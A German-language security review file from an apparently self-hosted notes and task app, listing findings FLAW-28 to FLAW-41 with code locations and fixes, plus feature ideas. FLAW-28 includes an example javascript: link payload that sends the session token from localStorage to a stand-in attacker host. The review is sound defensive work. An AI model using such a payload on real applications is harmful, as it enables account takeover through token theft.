Files
MindSift/Doku/flaws.md
T
sandrodachandClaude Opus 5.5 fcdf44a0ad
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
docs: fresh review – new flaw list (FLAW-28 to 41) and feature ideas
The old list (FLAW-01 to 27) was done and is removed; references to it
in other documents are gone or replaced by the content. New findings
from a review after v0.5, among them a high one: javascript: links in
task notes run on click (Markdown viewer), which with the session in
localStorage allows taking over accounts through a shared task list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:02:02 +01:00

139 lines
12 KiB
Markdown

# Schwachstellen, Risiken & Ideen
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
---
## Übersicht
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel |
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig |
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig |
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
---
## Details
### FLAW-28: `javascript:`-Links in Markdown
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-29: Keine Sicherheits-Header
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
### FLAW-33: Demo-Admin darf Server-Einstellungen ändern
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt.
### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
### FLAW-41: Sehr große Frontend-Dateien
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
---
## Ideen für Funktionen
### Erfassen
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
### Aufgaben & Erinnerungen
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
### Notizen
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
- **Bilder und Anhänge** in Notizen.
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
- **Verlinkungs-Graph** auf Basis der Backlinks.
### Listen
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
### Betrieb
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.